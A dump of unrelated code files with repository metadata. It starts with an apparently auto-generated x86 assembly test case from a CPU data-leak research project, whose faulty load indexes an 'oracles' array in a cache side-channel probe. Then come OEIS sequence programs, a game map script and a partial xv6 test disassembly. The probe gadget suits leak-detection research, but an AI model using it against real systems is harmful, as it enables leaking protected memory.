] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_217_114.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_217_114.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r15
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1c009, %rsi
lea addresses_UC_ht+0xfd23, %rdi
nop
nop
nop
nop
cmp $31819, %r15
mov $64, %rcx
rep movsq
nop
nop
nop
nop
sub $59350, %r11
lea addresses_D_ht+0xd469, %rcx
clflush (%rcx)
nop
nop
dec %r9
mov (%rcx), %r15d
nop
nop
and %rdi, %rdi
lea addresses_D_ht+0xb2c9, %rcx
nop
dec %r8
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
movups %xmm6, (%rcx)
nop
nop
nop
inc %rdi
lea addresses_WC_ht+0xbfc9, %rsi
nop
nop
nop
nop
nop
cmp $35111, %r11
mov (%rsi), %r8w
nop
and %r9, %r9
lea addresses_D_ht+0x17ea9, %rsi
lea addresses_WT_ht+0x1ce49, %rdi
nop
nop
dec %rbx
mov $22, %rcx
rep movsb
nop
nop
nop
cmp %rsi, %rsi
lea addresses_D_ht+0xfbc9, %rsi
lea addresses_WC_ht+0x9fc9, %rdi
nop
nop
sub %r9, %r9
mov $39, %rcx
rep movsq
nop
nop
nop
nop
sub $2985, %rsi
lea addresses_WT_ht+0x12fc9, %rsi
lea addresses_A_ht+0xa63, %rdi
nop
nop
nop
cmp $56575, %rbx
mov $1, %rcx
rep movsq
nop
nop
cmp %r8, %r8
lea addresses_UC_ht+0x1bfe9, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
cmp %rsi, %rsi
movb $0x61, (%rdi)
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_normal_ht+0x7bc9, %r11
nop
nop
nop
nop
sub %r8, %r8
mov (%r11), %r15d
nop
nop
nop
sub %r8, %r8
lea addresses_WT_ht+0x8fc9, %r15
nop
nop
nop
nop
nop
add $47657, %rbx
mov (%r15), %r8
nop
nop
nop
and %rcx, %rcx
lea addresses_A_ht+0x1b3b9, %r15
nop
nop
nop
and %rsi, %rsi
movb $0x61, (%r15)
nop
nop
nop
nop
and %r8, %r8
lea addresses_D_ht+0x4109, %rsi
lea addresses_A_ht+0x4ac9, %rdi
nop
nop
nop
nop
sub $64162, %rbx
mov $18, %rcx
rep movsw
nop
nop
nop
sub %rsi, %rsi
lea addresses_A_ht+0x14949, %rdi
nop
nop
nop
inc %r8
mov $0x6162636465666768, %rsi
movq %rsi, %xmm7
and $0xffffffffffffffc0, %rdi
vmovntdq %ymm7, (%rdi)
nop
nop
nop
nop
nop
xor $18587, %r15
lea addresses_A_ht+0x79c9, %rsi
nop
add %rbx, %rbx
movw $0x6162, (%rsi)
nop
nop
dec %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r15
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %r8
push %rbp
push %rsi
// Store
lea addresses_D+0x157c9, %r10
clflush (%r10)
nop
nop
nop
nop
inc %r13
movw $0x5152, (%r10)
nop
nop
nop
inc %r10
// Store
lea addresses_US+0x142e1, %r8
nop
nop
nop
nop
nop
xor $701, %r11
mov $0x5152535455565758, %r12
movq %r12, %xmm3
vmovups %ymm3, (%r8)
nop
nop
nop
nop
dec %rbp
// Store
mov $0x3c9, %r10
cmp $25323, %r12
mov $0x5152535455565758, %rsi
movq %rsi, (%r10)
nop
nop
nop
cmp $6836, %r13
// Faulty Load
lea addresses_D+0x157c9, %r10
nop
nop
nop
nop
add %rbp, %rbp
mov (%r10), %r12w
lea oracles, %r13
and $0xff, %r12
shlq $12, %r12
mov (%r13,%r12,1), %r12
pop %rsi
pop %rbp
pop %r8
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'52': 217}
52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
| 21.271429 | 650 | 0.649933 |
90022f7f111f7c13b527efdc15ef1d29a2c49dc8 | 1,432 | asm | Assembly | programs/oeis/196/A196288.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/196/A196288.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/196/A196288.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A196288: n^8 + n.
; 0,2,258,6564,65540,390630,1679622,5764808,16777224,43046730,100000010,214358892,429981708,815730734,1475789070,2562890640,4294967312,6975757458,11019960594,16983563060,25600000020,37822859382,54875873558,78310985304,110075314200,152587890650,208827064602,282429536508,377801998364,500246412990,656100000030,852891037472,1099511627808,1406408618274,1785793904930,2251875390660,2821109907492,3512479453958,4347792138534,5352009260520,6553600000040,7984925229162,9682651996458,11688200277644,14048223625260,16815125390670,20047612231982,23811286661808,28179280429104,33232930569650,39062500000050,45767944570452,53459728531508,62259690411414,72301961339190,83733937890680,96717311574072,111429157112058,128063081718074,146830437604380,167961600000060,191707312997342,218340105584958,248155780267584,281474976710720,318644812890690,360040606269762,406067677556708,457163239653444,513798374428710,576480100000070,645753531245832,722204136308808,806460091894154,899194740203850,1001129150390700,1113034787455052,1235736291547758,1370114370683214,1517108809906640,1677721600000080,1853020188851922,2044140858655058,2252292232139124,2478758911082580,2724905250390710,2992179271065942,3282116715437208,3596345248055384,3936588805702170,4304672100000090,4702525276151612,5132188731375708,5595818096650494,6095689385410910,6634204312890720,7213895789838432,7837433594377058,8507630225817954
mov $1,$0
pow $0,8
add $1,$0
| 204.571429 | 1,381 | 0.912011 |
ef67defdc7378a6bda03320d7eb8b71e3e8cfb00 | 762 | asm | Assembly | oeis/253/A253579.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/253/A253579.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/253/A253579.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A253579: Centered pentagonal numbers (A005891) which are also centered octagonal numbers (A016754).
; Submitted by Christian Krause
; 1,22801,1666681,47411143081,3465632747641,98584929298781641,7206305041398228481,204993755756525779060081,14984516863488437537571601,426256225957302372068628976801,31158234954289838149958560780201,886340998518823181233611960679431001,64789249751007041918310644423502350281,1843023791361670951550328531410234375734681,134720303940722346462387968371592735523830641,3832313636852500492159075412549014160035737932641,280132280642723510534972963647173503079880026590881
mov $2,$0
mul $0,2
mod $2,2
add $0,$2
seq $0,23113 ; Squares that remain square when the digit 6 is appended.
div $0,2
mul $0,3
div $0,5472
mul $0,2280
add $0,1
| 50.8 | 465 | 0.867454 |
8a495431846a21b2686759d1904d211aefa2f5ef | 439 | asm | Assembly | programs/oeis/187/A187444.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/187/A187444.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/187/A187444.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A187444: A trisection of A001405 (central binomial coefficients): binomial(3n+2,floor((3n+2)/2))/2, n>=0.
; 1,5,35,231,1716,12155,92378,676039,5200300,38779380,300540195,2268783825,17672631900,134564468610,1052049481860,8061900920775,63205303218876,486734856412028,3824345300380220,29566145391215356
mov $2,1
add $2,$0
mul $2,2
add $0,$2
mov $1,$0
div $0,2
bin $1,$0
mov $0,8
lpb $0
mov $0,7
mul $1,2
lpe
sub $1,4
div $1,4
add $1,1
| 23.105263 | 193 | 0.731207 |
bb7a55e79fc233294cbb8bdeff6f6efea652ea79 | 484 | asm | Assembly | oeis/068/A068912.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/068/A068912.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/068/A068912.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A068912: Number of n step walks (each step +/-1 starting from 0) which are never more than 3 or less than -3.
; Submitted by Jon Maiga
; 1,2,4,8,14,28,48,96,164,328,560,1120,1912,3824,6528,13056,22288,44576,76096,152192,259808,519616,887040,1774080,3028544,6057088,10340096,20680192,35303296,70606592,120532992,241065984,411525376,823050752,1405035520,2810071040
mov $1,1
mov $2,1
lpb $0
sub $0,2
mul $2,2
add $2,$1
add $1,$2
lpe
lpb $0
sub $0,1
mul $1,2
lpe
mov $0,$1
| 26.888889 | 227 | 0.719008 |
01a5b741a433f5bed7848f18f96c73ecd70103e5 | 1,306 | asm | Assembly | programs/oeis/301/A301718.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/301/A301718.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/301/A301718.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A301718: Coordination sequence for node of type V2 in "kre" 2-D tiling (or net).
; 1,5,11,17,23,28,33,39,45,51,56,61,67,73,79,84,89,95,101,107,112,117,123,129,135,140,145,151,157,163,168,173,179,185,191,196,201,207,213,219,224,229,235,241,247,252,257,263,269,275,280,285,291,297,303,308,313,319,325,331,336,341,347,353,359,364,369,375,381,387,392,397,403,409,415,420,425,431,437,443,448,453,459,465,471,476,481,487,493,499,504,509,515,521,527,532,537,543,549,555,560,565,571,577,583,588,593,599,605,611,616,621,627,633,639,644,649,655,661,667,672,677,683,689,695,700,705,711,717,723,728,733,739,745,751,756,761,767,773,779,784,789,795,801,807,812,817,823,829,835,840,845,851,857,863,868,873,879,885,891,896,901,907,913,919,924,929,935,941,947,952,957,963,969,975,980,985,991,997,1003,1008,1013,1019,1025,1031,1036,1041,1047,1053,1059,1064,1069,1075,1081,1087,1092,1097,1103,1109,1115,1120,1125,1131,1137,1143,1148,1153,1159,1165,1171,1176,1181,1187,1193,1199,1204,1209,1215,1221,1227,1232,1237,1243,1249,1255,1260,1265,1271,1277,1283,1288,1293,1299,1305,1311,1316,1321,1327,1333,1339,1344,1349,1355,1361,1367,1372,1377,1383,1389,1395
add $0,1
mov $2,1
mov $3,1
mov $4,3
mov $5,1
lpb $0,1
sub $0,1
trn $4,$2
add $5,5
mov $2,$5
trn $2,$0
sub $5,$4
add $5,$3
lpe
mov $1,5
add $1,$2
sub $1,10
| 62.190476 | 1,052 | 0.723583 |
8efcdb4880a6cd5925126d99ff67fb20b707e0fb | 316 | asm | Assembly | oeis/281/A281228.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/281/A281228.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/281/A281228.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A281228: Expansion of (Sum_{k>=0} x^(3^k))^2 [even terms only].
; 0,1,2,1,0,2,2,0,0,1,0,0,0,0,2,2,0,0,2,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,0,0,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
mov $2,$0
mul $0,3
bin $0,$2
div $0,3
mod $0,3
| 35.111111 | 201 | 0.525316 |
1418ec7e041bb724f844874dd9f4bed895f63b76 | 3,530 | asm | Assembly | maps/Route204S.asm | AtmaBuster/pokeplat-gen2 | fa83b2e75575949b8f72cb2c48f7a1042e97f70f | [
"blessing"
] | 6 | 2021-06-19T06:41:19.000Z | 2022-02-15T17:12:33.000Z | maps/Route204S.asm | AtmaBuster/pokeplat-gen2 | fa83b2e75575949b8f72cb2c48f7a1042e97f70f | [
"blessing"
] | null | null | null | maps/Route204S.asm | AtmaBuster/pokeplat-gen2 | fa83b2e75575949b8f72cb2c48f7a1042e97f70f | [
"blessing"
] | 2 | 2021-08-11T19:47:07.000Z | 2022-01-01T07:07:56.000Z | object_const_def ; object_event constants
Route204S_MapScripts:
db 0 ; scene scripts
db 0 ; callbacks
TrainerLassSarah:
trainer LASS, SARAH, EVENT_BEAT_LASS_SARAH, .SeenText, .BeatenText, 0, .Script
.Script:
endifjustbattled
opentext
writetext .AfterText
waitbutton
closetext
end
.SeenText:
text "Oh, a weak-looking"
line "TRAINER…"
para "Do you want to"
line "have a go?"
done
.BeatenText:
text "Aww… I should have"
line "said no."
done
.AfterText:
text "Oh, you're so mean!"
para "I just started"
line "training #MON!"
done
TrainerYoungsterTyler:
trainer YOUNGSTER, TYLER, EVENT_BEAT_YOUNGSTER_TYLER, .SeenText, .BeatenText, 0, .Script
.Script:
endifjustbattled
opentext
writetext .AfterText
waitbutton
closetext
end
.SeenText:
text "I'll beat you with"
line "the MAGIKARP my"
cont "dad gave me!"
done
.BeatenText:
text "But they're the"
line "#MON I got from"
cont "my dad…"
done
.AfterText:
text "Who gave you your"
line "first #MON?"
para "Your first #MON"
line "is the one with"
cont "the most fond"
cont "memories, I think."
done
TrainerLassSamantha:
trainer LASS, SAMANTHA1, EVENT_BEAT_LASS_SAMANTHA1, .SeenText, .BeatenText, 0, .Script
.Script:
endifjustbattled
opentext
writetext .AfterText
waitbutton
closetext
end
.SeenText:
text "May I please"
line "trouble you for a"
cont "battle?"
done
.BeatenText:
text "Oh…"
line "You're so strong…"
done
.AfterText:
text "Maybe I could have"
line "won if my #MON"
cont "held a BERRY…"
done
Route204_JubilifeSignScript:
jumptextsign .Text
.Text:
text "<SIGN|> ROUTE 204"
line "<SIGND> JUBILIFE CITY"
done
Route204_RavagedPathSignScript:
jumptext .Text
.Text:
text "RAVAGED PATH"
done
Route204_BoulderKidScript:
jumptextfaceplayer .Text
.Text:
text "There are boulders"
line "blocking the way"
cont "inside the cavern…"
para "I think a #MON's"
line "hidden move will"
cont "be able to smash"
cont "those boulders,"
cont "though."
done
Route204_ParlyzHealScript:
itemball PARLYZ_HEAL
Route204_HPUpScript:
itemball HP_UP
Route204_SeaIncenseScript:
itemball SEA_INCENSE
Route204S_MapEvents:
db 0, 0 ; filler
db 1 ; warp events
warp_event 6, 21, RAVAGED_PATH, 1
db 0 ; coord events
db 2 ; bg events
bg_event 10, 28, BGEVENT_READ, Route204_JubilifeSignScript
bg_event 7, 22, BGEVENT_READ, Route204_RavagedPathSignScript
db 8 ; object events
object_event 8, 32, SPRITE_LASS, SPRITEMOVEDATA_TURN_UP_RIGHT, 0, 0, -1, -1, 0, OBJECTTYPE_TRAINER, 3, TrainerLassSarah, -1
object_event 4, 30, SPRITE_YOUNGSTER, SPRITEMOVEDATA_TURN_LEFT_RIGHT, 0, 0, -1, -1, 0, OBJECTTYPE_TRAINER, 1, TrainerYoungsterTyler, -1
object_event 7, 25, SPRITE_LASS, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, 0, OBJECTTYPE_TRAINER, 3, TrainerLassSamantha, -1
object_event 8, 23, SPRITE_YOUNGSTER, SPRITEMOVEDATA_WALK_LEFT_RIGHT, 1, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, Route204_BoulderKidScript, -1
object_event 9, 18, SPRITE_YOUNGSTER, SPRITEMOVEDATA_WALK_LEFT_RIGHT, 1, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, ObjectEvent, -1
object_event 13, 31, SPRITE_POKE_BALL, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_ITEMBALL, 0, Route204_ParlyzHealScript, EVENT_ROUTE_204_PARLYZ_HEAL
object_event 22, 25, SPRITE_POKE_BALL, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_ITEMBALL, 0, Route204_HPUpScript, EVENT_ROUTE_204_HP_UP
object_event 0, 38, SPRITE_POKE_BALL, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_ITEMBALL, 0, Route204_SeaIncenseScript, EVENT_ROUTE_204_SEA_INCENSE
| 22.922078 | 157 | 0.750992 |
f991d05540944e3ef0f3065b8d0e2285eea6646a | 256 | asm | Assembly | Modules/Module2/6_LoadOperations/moving.asm | hackettccp/CSCI213 | c2b5c3e1b5f47fa329a59b0a7261ebeee8e64059 | [
"MIT"
] | null | null | null | Modules/Module2/6_LoadOperations/moving.asm | hackettccp/CSCI213 | c2b5c3e1b5f47fa329a59b0a7261ebeee8e64059 | [
"MIT"
] | null | null | null | Modules/Module2/6_LoadOperations/moving.asm | hackettccp/CSCI213 | c2b5c3e1b5f47fa329a59b0a7261ebeee8e64059 | [
"MIT"
] | null | null | null | #Demonstrates move operations
#Run and look at the $t0, $t1, $t2, and $t3 registers
li $t0, 45 #Loads the constant 45 (0x2d) to $t0
li $t1, 79 #Loads the constant 79 (0x4f) to $t1
move $t2, $t1 #Copies $t1 to $t2
move $t3, $t0 #Copies $t0 to $t3
| 25.6 | 53 | 0.644531 |
1a015f722bb5274c9a65c08a38e7b6f321ac8b65 | 564 | asm | Assembly | oeis/008/A008973.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/008/A008973.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/008/A008973.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A008973: Fibonacci number F(n) to power F(n).
; Submitted by Jon Maiga
; 1,1,1,4,27,3125,16777216,302875106592253,5842587018385982521381124421,11756638905368616011414050501310355554617941909569536,524744532468751923546122657597368049278513737089035272057324643668607677682302892208099365234375,313119843606264301926053344163576361349265045995115651405929697601914062309331717222037671868698420619053704956499930323034173850662765737986672484408801585719796136592384409
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
pow $0,$0
| 80.571429 | 397 | 0.858156 |
1847ed36e08e60831696ce669fa58771dd69d5c3 | 629 | asm | Assembly | fractional divided/fractional division.asm | nasim-aust/AUST_CSE_2214_ASSEMBLY_LAB | c264a198aa6ba330105a1a78c8655461e8188ed8 | [
"MIT"
] | 2 | 2017-02-05T00:30:55.000Z | 2020-06-07T11:05:09.000Z | fractional divided/fractional division.asm | nasim-aust/AUST_CSE_2214_ASSEMBLY_LAB | c264a198aa6ba330105a1a78c8655461e8188ed8 | [
"MIT"
] | null | null | null | fractional divided/fractional division.asm | nasim-aust/AUST_CSE_2214_ASSEMBLY_LAB | c264a198aa6ba330105a1a78c8655461e8188ed8 | [
"MIT"
] | null | null | null | .MODEL SMALL
.STACK 100H
.DATA
A DW ?
.CODE
MAIN PROC
CALL INDEC
PUSH AX
MOV AH,2
MOV DL,0DH
INT 21H
MOV DL,0AH
INT 21H
CALL INDEC
PUSH AX
MOV AH,2
MOV DL,0DH
INT 21H
MOV DL,0AH
INT 21H
MOV AH,2
MOV DL,'0'
INT 21H
MOV AH,2
MOV DL,'.'
INT 21H
POP AX
MOV BX,AX
POP AX
MOV CX,3D
MOV A,10D
TOP:
MUL A
DIV BX
;PUSH AX
CALL OUTDEC
MOV AX,DX
LOOP TOP
MOV AH, 4CH
INT 21H
MAIN ENDP
INCLUDE outdec.asm
INCLUDE indec.asm
END MAIN
| 10.661017 | 18 | 0.483307 |
791a43fea56d16911c8d1ec5981ad7094847bb51 | 266 | asm | Assembly | src/u2/p7.asm | luishendrix92/lenguajezinterfaz | 05d7c0621f3eb99f0134ae100cb451543ff80afc | [
"MIT"
] | null | null | null | src/u2/p7.asm | luishendrix92/lenguajezinterfaz | 05d7c0621f3eb99f0134ae100cb451543ff80afc | [
"MIT"
] | null | null | null | src/u2/p7.asm | luishendrix92/lenguajezinterfaz | 05d7c0621f3eb99f0134ae100cb451543ff80afc | [
"MIT"
] | null | null | null | ; 7 - Frase con offset
; López Garay Luis Felipe
; 15211312
; 27 de Septiembre del 2018
.Model small
.Stack 64
.Data
frase db "Ensamblado con ensamblador!", 10, 13, "$"
.Code
mov ax,@Data
mov ds,ax
mov dx,offset frase
mov ah,09h
int 21h
.Exit
end
| 11.083333 | 53 | 0.665414 |
d6f85078a27549b9d98e01e9e8fe61b4b61b9e75 | 428 | asm | Assembly | programs/oeis/092/A092391.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/092/A092391.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/092/A092391.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A092391: a(n) = n + wt(n), where wt(n) = A000120(n) = binary weight of n.
; 0,2,3,5,5,7,8,10,9,11,12,14,14,16,17,19,17,19,20,22,22,24,25,27,26,28,29,31,31,33,34,36,33,35,36,38,38,40,41,43,42,44,45,47,47,49,50,52,50,52,53,55,55,57,58,60,59,61,62,64,64,66,67,69,65,67,68,70,70,72,73,75,74,76,77,79,79,81,82,84,82,84,85,87,87,89,90,92,91,93,94,96,96,98,99,101,98,100,101,103
mov $2,$0
mul $0,2
lpb $0
div $2,2
sub $0,$2
lpe
| 42.8 | 297 | 0.623832 |
65001f4c4f08e58e6ee3c0245f886d62a5562db3 | 303,702 | asm | Assembly | usertests.asm | srally/CS350 | 8032cb8bbcda6293e572f820868b8a442f684720 | [
"MIT-0"
] | null | null | null | usertests.asm | srally/CS350 | 8032cb8bbcda6293e572f820868b8a442f684720 | [
"MIT-0"
] | null | null | null | usertests.asm | srally/CS350 | 8032cb8bbcda6293e572f820868b8a442f684720 | [
"MIT-0"
] | null | null | null |
_usertests: file format elf32-i386
Disassembly of section .text:
00000000 <iputtest>:
int stdout = 1;
// does chdir() call iput(p->cwd) in a transaction?
void
iputtest(void)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 08 sub $0x8,%esp
printf(stdout, "iput test\n");
6: a1 a8 62 00 00 mov 0x62a8,%eax
b: 83 ec 08 sub $0x8,%esp
e: 68 0a 44 00 00 push $0x440a
13: 50 push %eax
14: e8 25 40 00 00 call 403e <printf>
19: 83 c4 10 add $0x10,%esp
if(mkdir("iputdir") < 0){
1c: 83 ec 0c sub $0xc,%esp
1f: 68 15 44 00 00 push $0x4415
24: e8 0a 3f 00 00 call 3f33 <mkdir>
29: 83 c4 10 add $0x10,%esp
2c: 85 c0 test %eax,%eax
2e: 79 1b jns 4b <iputtest+0x4b>
printf(stdout, "mkdir failed\n");
30: a1 a8 62 00 00 mov 0x62a8,%eax
35: 83 ec 08 sub $0x8,%esp
38: 68 1d 44 00 00 push $0x441d
3d: 50 push %eax
3e: e8 fb 3f 00 00 call 403e <printf>
43: 83 c4 10 add $0x10,%esp
exit();
46: e8 80 3e 00 00 call 3ecb <exit>
}
if(chdir("iputdir") < 0){
4b: 83 ec 0c sub $0xc,%esp
4e: 68 15 44 00 00 push $0x4415
53: e8 e3 3e 00 00 call 3f3b <chdir>
58: 83 c4 10 add $0x10,%esp
5b: 85 c0 test %eax,%eax
5d: 79 1b jns 7a <iputtest+0x7a>
printf(stdout, "chdir iputdir failed\n");
5f: a1 a8 62 00 00 mov 0x62a8,%eax
64: 83 ec 08 sub $0x8,%esp
67: 68 2b 44 00 00 push $0x442b
6c: 50 push %eax
6d: e8 cc 3f 00 00 call 403e <printf>
72: 83 c4 10 add $0x10,%esp
exit();
75: e8 51 3e 00 00 call 3ecb <exit>
}
if(unlink("../iputdir") < 0){
7a: 83 ec 0c sub $0xc,%esp
7d: 68 41 44 00 00 push $0x4441
